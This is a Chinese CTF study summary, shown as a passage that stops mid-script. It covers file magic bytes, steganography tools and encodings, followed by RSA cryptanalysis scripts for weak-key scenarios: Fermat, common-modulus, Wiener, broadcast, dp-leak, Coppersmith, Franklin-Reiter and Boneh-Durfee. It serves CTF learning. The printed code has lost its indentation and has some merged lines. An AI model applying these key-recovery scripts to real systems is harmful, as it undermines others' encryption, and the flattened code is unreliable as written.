CTF misc crypto re pyjail總結
MISC
常見檔案16進位制頭尾
一些CTF題目的附件會去掉檔案頭,需要補全檔案頭,在一些檔案裡也可能隱藏多個檔案,這就需要熟悉檔案尾/檔案頭以方便提取或做判斷,題目附件在下載的時候可能會沒有檔案字尾,無法判斷是那種檔案,由於各檔案的16進位制都有規定格式,在將檔案在 010Editor 中開啟後根據檔案16進位制頭可以判斷是哪一種檔案,總之需要熟悉常見檔案頭以及格式,010裡面有模板,方便識別各類檔案,但也會有識別出錯的情況,MISC題目千變萬化...
PNG
檔案頭 89 50 4E 47 0D 0A 1A 0A
檔案尾 AE 42 60 82
**JPEG **
檔案頭 FF D8 FF
檔案尾 FF D9
GIF
**檔案頭 47 49 46 38 39(37) 61
**
檔案尾 00 3B
BMP
檔案頭 42 4D
ZIP
檔案頭 50 4B 03 04
**檔案尾 50 4B 01 02 / 50 4B 05 06
**
RAR Archive (rar)
檔案頭:52 61 72 21
Wave (wav)
檔案頭:57 41 56 45
其他16進位制
TGA
未壓縮的前4位元組 00 00 02 00
RLE壓縮的前5位元組 00 00 10 00 00
TIFF (tif)
檔案頭:49 49 2A 00
ico
檔案頭:00 00 01 00
MS Word/Excel (xls.or.doc)
檔案頭:D0 CF 11 E0
MS Access (mdb) 檔案頭:
53 74 61 6E 64 61 72 64 20 4A
WordPerfect (wpd) 檔案頭:
FF 57 50 43
Adobe Acrobat (pdf) 檔案頭:
25 50 44 46 2D 31 2E
application/vnd.visio(vsd) 檔案頭:
D0 CF 11 E0 A1 B1 1A E1
Email [thorough only] (eml) 檔案頭:
44 65 6C 69 76 65 72 79 2D 64 61 74 65 3A
Outlook Express (dbx) 檔案頭:
CF AD 12 FE C5 FD 74 6F
Outlook (pst) 檔案頭:
21 42 44 4E
Rich Text Format (rtf) 檔案頭:
7B 5C 72 74 66
txt 檔案(txt) 檔案頭:Unicode:FE FF
/ Unicode big endian:FF FE
/ UTF-8:EF BB BF
/ANSI編碼是沒有檔案頭的
audio(Audio)
檔案頭: 4D 54 68 64
audio/x-aac(aac)
檔案頭:FF F1(9)
AVI (avi) 檔案頭:41 56 49 20
Real Audio (ram) 檔案頭:2E 72 61 FD
Real Media (rm) 檔案頭:2E 52 4D 46
MPEG (mpg) 檔案頭:00 00 01 BA(3)
Quicktime (mov) 檔案頭:6D 6F 6F 76
Windows Media (asf) 檔案頭:30 26 B2 75 8E 66 CF 11
MIDI (mid) 檔案頭:4D 54 68 64
XML (xml) 檔案頭:3C 3F 78 6D 6C
HTML (html) 檔案頭:68 74 6D 6C 3E
Quicken (qdf) 檔案頭:AC 9E BD 8F
Windows Password (pwl) 檔案頭:E3 82 85 96
windows證書檔案(der) 檔案頭:30 82 03 C9
CAD (dwg) 檔案頭:41 43 31 30
Windows Shortcut (lnk) 檔案頭:4C 00 00 00
Windows reg(reg) 檔案頭:52 45 47 45 44 49 54 34
注:並非全部檔案只收集常見,夠用
隱寫術
常用工具:
**16進位制檢視:010Editor winhex **
音訊檢視:Audacity
等等
遇到舉例
png:
首先介紹一款好用的檢測png隱寫工具
zsteg:https://github.com/zed-0xff/zsteg
一些隱藏的檔案,lsb隱寫等都可以檢測到
binwalk:
可以檢測分離檔案
#檢測圖片
binwalk filename
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 640 x 1743, 8-bit/color RGBA, non-interlaced
#分離圖片
binwalk -e filename
(可能報錯使用 binwlak -e filename --run-as=root)
#刀操作,也可以分離圖片
dd if=filename of=newfilename skip=DECIMAL bs=1
foremost:
同樣可以分離檔案,而且細分化,有log,有時候有奇效
foremost -o 存放檔名 檔名
使用非常方便:
zsteg filename
或
zsteg filename -a
還有其他引數指令
zsteg -h
寬高隱寫:
png檔案最常見的就是寬高隱寫,透過修改寬高隱藏一些內容,這類圖片肉眼一般無法判斷,有的倒非常明顯,可以透過修改寬高的16進位制來嘗試恢復,但有可能無法得到預期圖片,可以透過工具或者crc爆破得到正確的寬高再修改檔案的16進製得到原來的圖片。
檔案16進位制中:
隱藏的資訊可能存放在16進位制檔案尾,使用010開啟在末尾處檢視,也可能存放在檔案中,使用搜尋嘗試尋找
010功能強大
IDAT隱寫:
pngcheck可以檢測檔案IDAT,損壞,多餘
檔案IDAT通常中間的會保持一致再滿了的時候才會進行下一個
此時就需要提取或者刪除來達到恢復的目的
裡面通常會有zilb,也可能隱寫在這裡面
StegSolve:一款工具
png jpg gif都可以使用,檢測圖片lsb隱寫,各顏色通道等
Data Extract:lsb隱寫等
Frame Browser:gif幀分析
exiftool:
檢視圖片exif等資訊,flag可能隱藏在這裡
PNGdebugger/TweakPNG(png工具):
均可檢視png檔案資料,支援修改刪除等操作
stegpy:
帶有key的隱寫
stegpy filename -p
png相關隱寫暫時這麼多
JPEG/JPG:
EXIF:
最常見的就是EXIF,備註,詳細資訊等,會有提示資訊或者flag,
使用exiftool:
exiftool filename
或線上:EXIF資訊檢視器 (tuchong.com)
檔案16進位制:
同png一樣,也可能存放在末尾或者檔案中。
檔案提取:
存在附件檔案,使用binwalk/foremost
JSteg&&JPHide&&OutGuess&&F5:
四個隱寫方式
可以使用相應工具提取
Stegdetect 可以幫助探測
SilentEye:
jpg或者wav檔案隱寫flag
一些非預期(strings filename)
音訊隱寫:
MP3/WAV:
使用Audacity檢視波形圖或者頻譜圖,一些資訊會隱藏在上面,波形圖的摩斯密碼,頻譜圖可能有key,pass,甚至flag等
MP3Stego:MP3隱寫工具
encode -E txt -P 密碼 MP3檔案
decode -X -P 密碼 MP3name
這種一般會有pass提示在檔案尾等
LSB:DerbyCon CTF - WAV Steganography · ethackal
deepsound:WAV工具
需要密碼
dtmf2num:撥號音
音訊滴滴滴
MMSSTV:
一種電報,可以將音訊轉化為圖片,音訊多嘈雜
SilentEye:wav工具
xls:
檔案可能存在隱寫有二維碼,手點檢測塊是否不同,將其黑白變化得到二維碼,可以使用QR掃描得到flag
使用7z點開裡面存在內容,這類不好找可以使用程式尋找等
word:
字型隱藏:ctrl+a修改全域性字型得到隱藏內容,修改設定得到隱藏文字,修改字尾或使用7z開啟得到裡面的檔案,可能存在flag等有用資訊
pyc隱寫:
使用劍龍隱寫可以得到隱藏的flag
stegosaurus -x pycname
CRYPTO
常見編碼:
rabbit/aes/des加密:
U2FsdGVkX1通常為rabbit密文頭,特徵類似base64(aes ,des相似)
rabbit為一種流密碼,其詳情高速流密碼——Rabbit - 掘金 (juejin.cn)
線上解密網:線上Rabbit加密 | Rabbit解密- 線上工具 (sojson.com)
例子:
U2FsdGVkX188nKW3XYAppATn9y3lZg== 解密為:flag
base家族:
(base64是每6bit位一個對映base32是每5bit位一個對映base16是每bit4位一個對映)
base64加密:( 編碼後的資料比原始資料略長,為原來的4/3)
密文結尾通常為,由(A-Z、a-z、0-9、+、/)組成,以為填充
加密原理:用64個可列印字元表示二進位制所有資料的方法...(Base64 演算法原理,以及編碼、解碼【加密、解密】 介紹 - 程默 - 部落格園 (cnblogs.com))
例子:
ZmxhZ3tiYXNlfQ== 解密為:flag{base}
線上解密網:Base64 編碼/解碼 - 線上工具 (toolhelper.cn)
base58加密:(在比特幣加密中有涉及,區塊鏈)
base58的編碼表相比base64少了數字0,大寫字母I,O,小寫字母 l (這個是L),以及符號‘+’和‘/’
加密原理:將字元流轉成256進位制的一個超大數 然後不斷的模58
例子:
2w6zoHymm2SU4UfhE 解密為: flag{base58}
線上解密網:線上Base58編碼解碼 (lddgo.net)
base32加密:
由(A-Z、2-7)32個可見字元構成,“=”符號用作字尾填充,無數字+/,會有多個=。
例子:
MZWGCZ33MJQXGZJTGJ6Q==== 解密為: flag{base32}
線上解密網:Base32編碼解碼,Base32線上轉換工具 - 千千秀字 (qqxiuzi.cn)
base16加密:
將二進位制檔案轉換成由16個字元組成的文字,由a-z,0-9組成,無=填充,與md5,hex相似。
例子:
666c61677b6261736531367d 解密為:flag{base16}
線上解密網:Base16編碼解碼,Base16線上轉換工具 - 千千秀字 (qqxiuzi.cn)
除此之外還有
base62,base85,base91,base92,base100。
base91的密文由91個字元(0-9,a-z,A-Z,!#$%&()*+,./:;<=>?@[]^_`{|}~”)組成
base100為表情包
base85為BOu!rDst>tGAhM<A1fSl1GgsI特徵:特點是奇怪的字元比較多,但是很難出現等號
等等十分多
這裡推薦一個工具ToolsFx非常多內容,編碼(CTF站點導航 | 貓捉魚鈴 (mzy0.com))
古典密碼還有非常多型別:
推薦網站:CTF常見編碼及加解密(超全) - ruoli-s - 部落格園 (cnblogs.com)
一些好用的加密解密網站:
爆破維吉尼亞:Vigenere Solver | guballa.de
詞頻分析:https://quipqiup.com/
佛曰http://hi.pcmoe.net/buddha.html
盲文:http://www.atoolbox.net/Tool.php?Id=837
RSA:
推薦大佬部落格:https://tangcuxiaojikuai.xyz/
神 糖醋小雞快
from Crypto.Util.number import *
n = p * q
m = "flag"
m = bytes_to_long(m)
e = 65537
phi = (p-1)*(q-1)
d = inverse(e,phi)
c = pow(m,e,n)
m = pow(c,d,n)
flag = long_to_bytes(m)
一些常見攻擊方式的指令碼和方法:
【CTF-RSA】基於N分解的RSA題目
1.線上查詢分解網站
http://www.factordb.com/index.php
2.使用yafu工具分解
下載地址:https://sourceforge.net/projects/yafu/
3.使用費馬分解
網上找的指令碼,p和q接近
def isqrt(n):
x = n
y = (x + n // x) // 2
while y < x:
x = y
y = (x + n // x) // 2
return x
def fermat(n, verbose=True):
a = isqrt(n) # int(ceil(n**0.5))
b2 = a*a - n
b = isqrt(n) # int(b2**0.5)
count = 0
while b*b != b2:
# if verbose:
# print('Trying: a=%s b2=%s b=%s' % (a, b2, b))
a = a + 1
b2 = a*a - n
b = isqrt(b2) # int(b2**0.5)
count += 1
p=a+b
q=a-b
assert n == p * q
# print('a=',a)
# print('b=',b)
# print('p=',p)
# print('q=',q)
# print('pq=',p*q)
return p, q
fermat(n)
4.分解出來後,用指令碼解密即可
import gmpy2
import libnum
p=
q=
e=
c=
n=p*q
phi_n=(p-1)*(q-1)
#求逆元
#d=libnum.invmod(e,phi_n)
d=gmpy2.invert(e,phi_n)
m=pow(c,d,n)
print(m)
print(libnum.n2s(int(m)).decode())
出題指令碼
p,q接近,很快就能分解
import libnum
import gmpy2
p=libnum.generate_prime(1024)
#下一個素數
q=gmpy2.next_prime(p)
print(p)
print(q)
print(gmpy2.is_prime(q))
e=65537
m="flag{20d6e2da95dcc1fa5f5432a436c4be18}"
m=libnum.s2n(m)
n=p*q
phi_n=(p-1)*(q-1)
d=libnum.invmod(e,phi_n)
c=pow(m,e,n)
print("n=",n)
print ("e=",e)
print ("c=",c)
解題指令碼
import gmpy2
import libnum
def isqrt(n):
x = n
y = (x + n // x) // 2
while y < x:
x = y
y = (x + n // x) // 2
return x
def fermat(n, verbose=True):
a = isqrt(n) # int(ceil(n**0.5))
b2 = a*a - n
b = isqrt(n) # int(b2**0.5)
count = 0
while b*b != b2:
# if verbose:
# print('Trying: a=%s b2=%s b=%s' % (a, b2, b))
a = a + 1
b2 = a*a - n
b = isqrt(b2) # int(b2**0.5)
count += 1
p=a+b
q=a-b
assert n == p * q
# print('a=',a)
# print('b=',b)
print('p=',p)
print('q=',q)
# print('pq=',p*q)
return p, q
n=
e= 65537
c=
pq=fermat(n)
p=pq[0]
q=pq[1]
phi_n=(p-1)*(q-1)
#求逆元
#d=libnum.invmod(e,phi_n)
d=gmpy2.invert(e,phi_n)
m=pow(c,d,n)
print(m)
print(libnum.n2s(int(m)).decode())
RSA金鑰生成與讀取
from Crypto.PublicKey import RSA
p=
q=
n=
d=
e= 65537
rsa_components = (n, e)
keypair = RSA.construct(rsa_components)
with open('pubckey.pem', 'wb') as f :
f.write(keypair.exportKey())
from Crypto.PublicKey import RSA
p= 787228223375328491232514653709
q= 814212346998672554509751911073
n= 640970939378021470187479083920100737340912672709639557619757
d= 590103645243332826117029128695341159496883001869370080307201
e= 65537
rsa_components = (n,e,d,p,q)
keypair = RSA.construct(rsa_components)
with open('private1.pem', 'wb') as f :
f.write(keypair.exportKey())
公鑰讀取
from Crypto.PublicKey import RSA
with open("pubckey.pem","rb") as f:
key = RSA.import_key(f.read())
print('n = %d' % key.n)
print('e = %d' % key.e)
私鑰讀取
from Crypto.PublicKey import RSA
with open("private1.pem","rb") as f:
key = RSA.import_key(f.read())
print('n = %d' % key.n)
print('e = %d' % key.e)
print('d = %d' % key.d)
print('p = %d' % key.p)
print('q = %d' % key.q)
出題指令碼 -基於N分解的題目
import libnum
import gmpy2
from Crypto.PublicKey import RSA
p=libnum.generate_prime(1024)
#下一個素數
q=int(gmpy2.next_prime(p))
e=65537
m="flag{}"
m=libnum.s2n(m)
n=p*q
c=pow(m,e,n)
flag_c=libnum.n2s(c)
rsa_components = (n, e)
keypair = RSA.construct(rsa_components)
with open('pubckey1.pem', 'wb') as f :
f.write(keypair.exportKey())
with open("flag.txt","wb") as f:
f.write(flag_c)
解題指令碼
import libnum
import gmpy2
from Crypto.PublicKey import RSA
def isqrt(n):
x = n
y = (x + n // x) // 2
while y < x:
x = y
y = (x + n // x) // 2
return x
def fermat(n, verbose=True):
a = isqrt(n) # int(ceil(n**0.5))
b2 = a*a - n
b = isqrt(n) # int(b2**0.5)
count = 0
while b*b != b2:
# if verbose:
# print('Trying: a=%s b2=%s b=%s' % (a, b2, b))
a = a + 1
b2 = a*a - n
b = isqrt(b2) # int(b2**0.5)
count += 1
p=a+b
q=a-b
assert n == p * q
# print('a=',a)
# print('b=',b)
# print('p=',p)
# print('q=',q)
# print('pq=',p*q)
return p, q
with open("pubckey1.pem","rb") as f:
key = RSA.import_key(f.read())
n=key.n
e=key.e
with open("flag.txt","rb") as f:
c=f.read()
c=libnum.s2n(c)
#費馬分解,
n1=fermat(n)
p=n1[0]
q=n1[1]
phi_n=(p-1)*(q-1)
#求逆元
d=libnum.invmod(e,phi_n)
m=pow(c,d,n)
print(m)
print(libnum.n2s(int(m)).decode())
進階——自動生成金鑰及加解密
from Crypto.Cipher import PKCS1_v1_5
from Crypto import Random
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
random_generator = Random.new().read
rsa = RSA.generate(2048, random_generator)
生成私鑰
private_key = rsa.exportKey()
# print(private_key.decode('utf-8'))
with open('rsa_private_key.pem', 'wb')as f:
f.write(private_key)
生成公鑰
public_key = rsa.publickey().exportKey()
# print(public_key.decode('utf-8'))
with open('rsa_public_key.pem', 'wb')as f:
f.write(public_key)
#測試用金鑰加密
public_key = RSA.importKey(public_key)
msg='flag'
pk = PKCS1_v1_5.new(public_key)
encrypt_text = pk.encrypt(msg.encode())
print(encrypt_text)
#測試金鑰解密
private_key = RSA.importKey(private_key)
pk = PKCS1_v1_5.new(private_key)
msg = pk.decrypt(encrypt_text,0)
print(msg)
#兩種標準
rsa_components = (n, e, int(d), p, q)
arsa = RSA.construct(rsa_components)
rsakey = RSA.importKey(arsa.exportKey())
rsakey = PKCS1_OAEP.new(rsakey)
decrypted = rsakey.decrypt(c)
print(decrypted)
共模攻擊指令碼
解密指令碼
#coding:utf-8
import gmpy2
import libnum
n=
e1=
c1=
e2=
c2=
#共模攻擊
#共模攻擊函式
def rsa_gong_N_def(e1,e2,c1,c2,n):
e1, e2, c1, c2, n=int(e1),int(e2),int(c1),int(c2),int(n)
s = gmpy2.gcdext(e1, e2)
s1 = s[1]
s2 = s[2]
if s1 < 0:
s1 = - s1
c1 = gmpy2.invert(c1, n)
elif s2 < 0:
s2 = - s2
c2 = gmpy2.invert(c2, n)
m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n
return int(m)
m = rsa_gong_N_def(e1,e2,c1,c2,n)
print(m)
print(libnum.n2s(int(m)))
共模攻擊原理
兩個及以上的公鑰(n,e)來加密同一條資訊m
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)
e1,e2互質,則有
gcd(e1,e2)=1
根據擴充套件歐幾里德演算法 對於不完全為 0 的整數 a,b,gcd(a,b)表示 a,b 的最大公約數。那麼一定存在整數 x,y 使得 gcd(a,b)=ax+by
e1*s1+e2*s2 = 1
s1、s2皆為整數,但是一正一負,假設s1為正數,s2為負數
因為
c1 = m^e1%n
c2 = m^e2%n
可得:
(c1^s1*c2^s2)%n = ((m^e1%n)^s1(m^e2%n)^s2)%n
根據模運算性質: 冪運算是一種關於冪的數學運算。同底數冪相乘,底數不變,指數相加。同底數冪相除,底數不變,指數相減。冪的乘方,底數不變,指數相乘。
(a * b) % p = (a % p * b % p) % p
a ^ b % p = ((a % p) ^ b) % p
簡化公式為:
(c1^s1*c2^s2)%n = ((m^e1%n)^s1*(m^e2%n)^s2)%n
=> (c1^s1*c2^s2)%n = ((m^e1%n)^s1%n*(m^e2%n)^s2%n)%n #(a * b) % p = (a % p * b % p) % p
=> (c1^s1*c2^s2)%n = ((m^e1)^s1%n*(m^e2)^s2%n)%n #((a % p) ^ b) % p =a ^ b % p
=> (c1^s1*c2^s2)%n = ((m^e1)^s1*(m^e2)^s2)%n # (a % p * b % p) % p=(a * b) % p
=>(c1^s1*c2^s2)%n = ((m^(e1*s1)*(m^(e2*s2))%n #。冪的乘方,底數不變,指數相乘。
(c1^s1*c2^s2)%n = (m^(e1*s1+e2*s2))%n # 同底數冪相乘,底數不變,指數相加。
因為 e1*s1+e2*s2 = 1 得:
(c1^s1*c2^s2)%n = (m^1)%n
(c1^s1*c2^s2)%n=m
同一m,同一n,不同e,進行加密。在不知道d的情況下,可以進行解密
wiener(維納)攻擊指令碼
解密指令碼
import gmpy2
import libnum
def continuedFra(x, y):
"""計算連分數
:param x: 分子
:param y: 分母
:return: 連分數列表
"""
cf = []
while y:
cf.append(x // y)
x, y = y, x % y
return cf
def gradualFra(cf):
"""計算傳入列表最後的漸進分數
:param cf: 連分數列表
:return: 該列表最後的漸近分數
"""
numerator = 0
denominator = 1
for x in cf[::-1]:
# 這裡的漸進分數分子分母要分開
numerator, denominator = denominator, x * denominator + numerator
return numerator, denominator
def solve_pq(a, b, c):
"""使用韋達定理解出pq,x^2−(p+q)∗x+pq=0
:param a:x^2的係數
:param b:x的係數
:param c:pq
:return:p,q
"""
par = gmpy2.isqrt(b * b - 4 * a * c)
return (-b + par) // (2 * a), (-b - par) // (2 * a)
def getGradualFra(cf):
"""計算列表所有的漸近分數
:param cf: 連分數列表
:return: 該列表所有的漸近分數
"""
gf = []
for i in range(1, len(cf) + 1):
gf.append(gradualFra(cf[:i]))
return gf
def wienerAttack(e, n):
"""
:param e:
:param n:
:return: 私鑰d
"""
cf = continuedFra(e, n)
gf = getGradualFra(cf)
for d, k in gf:
if k == 0: continue
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) // k
p, q = solve_pq(1, n - phi + 1, n)
if p * q == n:
return d
n=
e=
c=
d=wienerAttack(e, n)
m=pow(c, d, n)
print(libnum.n2s(m).decode())
低加密指數廣播攻擊
import libnum
from gmpy2 import invert, gcd, iroot
def op(x):
res = 1
for i in x:
res *= i
return res
def CRT(m, a):
assert (len(m) == len(a))
M = op(m)
sum = 0
for m, a in zip(m, a):
Mi = M // m
ti = invert(Mi, m)
sum += a * ti * Mi
return sum % M
def GCRT(m, a):
assert (len(m) == len(a))
curm, cura = m[0], a[0]
for m, a in zip(m[1:], a[1:]):
d = gcd(curm, m)
c = a - cura
assert (c % d == 0)
K = c // d * invert(curm // d, m // d)
cura += curm * K
curm = curm * m // d
return cura % curm
e= 23
n= [, , , , , , ]
c= [, , , , , , ]
m = CRT(n, c)
m1 = iroot(m, e) # 開e次方
print(m1)
print(libnum.n2s(int(m1[0])))
解密指令碼2
import binascii,gmpy2
from functools import reduce
import libnum
def CRT(mi, ai):
assert(reduce(gmpy2.gcd,mi)==1)
assert (isinstance(mi, list) and isinstance(ai, list))
M = reduce(lambda x, y: x * y, mi)
ai_ti_Mi = [a * (M // m) * gmpy2.invert(M // m, m) for (m, a) in zip(mi, ai)]
return reduce(lambda x, y: x + y, ai_ti_Mi) % M
e= 23
n= [, , , , , , ]
c= [, , , , , , ]
m=gmpy2.iroot(CRT(n, c), e)[0]
print(m)
print(libnum.n2s(int(m)))
N不互素(共享素數)
解題指令碼
import libnum
import gmpy2
e= 65537
n1=
n2=
c1=
c2=
#求最大公約數
q=gmpy2.gcd(n1,n2)
p1=n1//q
phi_n=(q-1)*(p1-1)
#求逆元d
d1=libnum.invmod(e,phi_n)
m=pow(c1,d1,n1)
print(m)
#數字轉位元組,轉字串
print(libnum.n2s(int(m)).decode())
dp洩露
解密指令碼
#coding:utf-8
import libnum
import gmpy2
n=
e= 65537
dp=
c=
for i in range(1,65535):
p=(dp*e-1)//i+1
if n%p==0:
q=n//p
break
print(p)
print(q)
phi_n= (p-1)*(q-1)
d=gmpy2.invert(e,phi_n)
m=pow(c,d,n)
print(m)
flag=libnum.n2s(int(m)).decode()
print(flag)
dp,dq
解題指令碼
# coding=utf-8
import gmpy2
import libnum
def decrypt(dp,dq,p,q,c):
InvQ = gmpy2.invert(q, p)
mp = pow(c, dp, p)
mq = pow(c, dq, q)
m = (((mp-mq)*InvQ) % p)*q+mq
print(libnum.n2s(int(m)).decode())
p=
q=
dq=
dp=
c=
decrypt(dp,dq,p,q,c)
n是p的r次方
解密指令碼
先分解n
import libnum import gmpy2
n=
e= 65537
c= #分解n #yafu-x64.exe factor() p=
phi_n=p**4-p**3 #求逆元
d=libnum.invmod(e,phi_n)
m=pow(c,d,n)
print(m) #數字轉位元組,轉字串
print(libnum.n2s(int(m)).decode())
RSA NC不互素
解題指令碼
import gmpy2
import libnum
n =
c =
e = 0x10001
p = gmpy2.gcd(n, c)
q = n // p
assert n == p * q
phi_n=(p-1)*(q-1)
d=gmpy2.invert(e,phi_n)
M=pow(c,d,n)
#M= 2021 * 1001 * p*m
m=M//(2021 * 1001 * p)
print(libnum.n2s(int(m)))
sage指令碼_p高位攻擊
指令碼1
根據題目,注意 2^60 60需要修改相應的位數 a = (p >> 60) << 60
def phase3(high_p, n):
R.<x> = PolynomialRing(Zmod(n), implementation='NTL')
p = high_p + x
x0 = p.small_roots(X = 2^60, beta = 0.1)[0]
P = int(p(x0))
Q = n // P
print(P)
print(Q)
assert n == P*Q
n=
p4=
e=
c=
phase3(p4, n)
指令碼2
n =
p4=
e = 0x10001
pbits = 1024
kbits = pbits - p4.nbits()
print(p4.nbits())
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4)
if roots:
p = p4+int(roots[0])
print ("n: ", n)
print ("p: ", p)
print ("q: ", n/p)
sage指令碼_m高位攻擊
解題指令碼
import libnum
def phase2(high_m, n, c):
R.<x> = PolynomialRing(Zmod(n), implementation='NTL')
m = high_m + x
M = m((m^3 - c).small_roots()[0])
print(libnum.n2s(int(M)))
n=
e= 3
c=
high_m=
phase2(high_m, n, c)
sage指令碼_Franklin-Reiter attack
#針對RSA的Franklin Reiter攻擊
https://paper.seebug.org/727/#43-franklin-reiter
#如果兩條訊息之間僅存在已知的固定差異
m1 = bytes_to_long(flag)
m2 = a*m1 + b
#和RSA是否在相同的RSA模N下加密
#這樣就有可能同時恢復它們
from secret import flag
from Crypto.Util.number import *
m1 = bytes_to_long(flag)
N = getPrime(512)*getPrime(512)
e = 17
c1 = pow(m1, e, N)
a = getRandomNBitInteger(512)
b = getRandomNBitInteger(512)
m2 = a*m1 + b
c2 = pow(m2, e, N)
print(N, a, b, c1, c2, sep="\n")
sage解題指令碼
https://github.com/ValarDragon/CTF-Crypto/blob/master/RSA/FranklinReiter.sage
n=
a=
b=
c1=
c2=
e=17
import libnum
def franklinReiter(n,e,c1,c2,a,b):
R.<X> = Zmod(n)[]
f1 = X^e - c1
f2 = (X*a+ b)^e - c2
# coefficient 0 = -m, which is what we wanted!
return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0])
# GCD is not implemented for rings over composite modulus in Sage
# so we do our own implementation. Its the exact same as standard GCD, but with
# the polynomials monic representation
def compositeModulusGCD(a, b):
if(b == 0):
return a.monic()
else:
return compositeModulusGCD(b, a % b)
m=franklinReiter(n,e,c1,c2,a,b)
print(m)
print(type(m))
print(libnum.n2s(int(m)))
sage指令碼_d 低位攻擊
import libnum
def getFullP(low_p, n):
R.<x> = PolynomialRing(Zmod(n), implementation='NTL')
p = x*2^512 + low_p
root = (p-n).monic().small_roots(X = 2^128, beta = 0.4)
if root: return p(root[0]) return None
def phase4(low_d, n, c):
maybe_p = []
for k in range(1, 4):
p = var('p')
p0 = solve_mod([3*p*low_d == p + k*(n*p - p^2 - n + p)], 2^512)
maybe_p += [int(x[0])
for x in p0] #print(maybe_p)
for x in maybe_p:
P = getFullP(x, n)
if P:
break
P = int(P)
Q = n // P
assert P*Q == n
print(P)
print(Q)
d = inverse_mod(3, (P-1)*(Q-1))
print(d)
print(libnum.n2s(int(power_mod(c, d, n))))
n =
c =
low_d =
phase4(low_d, n, c)
sage指令碼_廣播攻擊
import libnum
e=13
n1=
n2=
n3=
c1=
c2=
c3=
def phase5(n1, c1, n2, c2, n3, c3):
r = CRT([c1, c2, c3], [n1, n2, n3])
m = int(r)^(1/13)
print(m)
print(libnum.n2s(int(m)))
phase5(n1, c1, n2, c2, n3, c3)
sage指令碼_Boneh Durfee 攻擊
跟維納攻擊類似 用於e很大的情況
import time
"""
Setting debug to true will display more informations
about the lattice, the bounds, the vectors...
"""
debug = True
"""
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don't have a correct
upperbound on the determinant. Note that this
doesn't necesseraly mean that no solutions
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
"""
strict = False
"""
This is experimental, but has provided remarkable results
so far. It tries to reduce the lattice as much as it can
while keeping its efficiency. I see no reason not to use
this option, but if things don't work, you should try
disabling it
"""
helpful_only = True
dimension_min = 7 # stop removing if lattice reaches that dimension
############################################
# Functions
##########################################
# display stats on helpful vectors
def helpful_vectors(BB, modulus):
nothelpful = 0
for ii in range(BB.dimensions()[0]):
if BB[ii,ii] >= modulus:
nothelpful += 1
print (nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")
# display matrix picture with 0 and X
def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii,jj] == 0 else 'X'
if BB.dimensions()[0] < 60:
a += ' '
if BB[ii, ii] >= bound:
a += '~'
print (a)
# tries to remove unhelpful vectors
# we start at current = n-1 (last vector)
def remove_unhelpful(BB, monomials, bound, current):
# end of our recursive function
if current == -1 or BB.dimensions()[0] <= dimension_min:
return BB
# we start by checking from the end
for ii in range(current, -1, -1):
# if it is unhelpful:
if BB[ii, ii] >= bound:
affected_vectors = 0
affected_vector_index = 0
# let's check if it affects other vectors
for jj in range(ii + 1, BB.dimensions()[0]):
# if another vector is affected:
# we increase the count
if BB[jj, ii] != 0:
affected_vectors += 1
affected_vector_index = jj
# level:0
# if no other vectors end up affected
# we remove it
if affected_vectors == 0:
print ("* removing unhelpful vector", ii)
BB = BB.delete_columns([ii])
BB = BB.delete_rows([ii])
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
# level:1
# if just one was affected we check
# if it is affecting someone else
elif affected_vectors == 1:
affected_deeper = True
for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
# if it is affecting even one vector
# we give up on this one
if BB[kk, affected_vector_index] != 0:
affected_deeper = False
# remove both it if no other vector was affected and
# this helpful vector is not helpful enough
# compared to our unhelpful one
if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
print ("* removing unhelpful vectors", ii, "and", affected_vector_index)
BB = BB.delete_columns([affected_vector_index, ii])
BB = BB.delete_rows([affected_vector_index, ii])
monomials.pop(affected_vector_index)
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
# nothing happened
return BB
"""
Returns:
* 0,0 if it fails
* -1,-1 if `strict=true`, and determinant doesn't bound
* x0,y0 the solutions of `pol`
"""
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
"""
Boneh and Durfee revisited by Herrmann and May
finds a solution if:
* d < N^delta
* |x| < e^delta
* |y| < e^0.5
whenever delta < 1 - sqrt(2)/2 ~ 0.292
"""
# substitution (Herrman and May)
PR.<u, x, y> = PolynomialRing(ZZ)
Q = PR.quotient(x*y + 1 - u) # u = xy + 1
polZ = Q(pol).lift()
UU = XX*YY + 1
# x-shifts
gg = []
for kk in range(mm + 1):
for ii in range(mm - kk + 1):
xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
gg.append(xshift)
gg.sort()
# x-shifts list of monomials
monomials = []
for polynomial in gg:
for monomial in polynomial.monomials():
if monomial not in monomials:
monomials.append(monomial)
monomials.sort()
# y-shifts (selected by Herrman and May)
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
yshift = Q(yshift).lift()
gg.append(yshift) # substitution
# y-shifts list of monomials
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
monomials.append(u^kk * y^jj)
# construct lattice B
nn = len(monomials)
BB = Matrix(ZZ, nn)
for ii in range(nn):
BB[ii, 0] = gg[ii](0, 0, 0)
for jj in range(1, ii + 1):
if monomials[jj] in gg[ii].monomials():
BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)
# Prototype to reduce the lattice
if helpful_only:
# automatically remove
BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
# reset dimension
nn = BB.dimensions()[0]
if nn == 0:
print ("failure")
return 0,0
# check if vectors are helpful
if debug:
helpful_vectors(BB, modulus^mm)
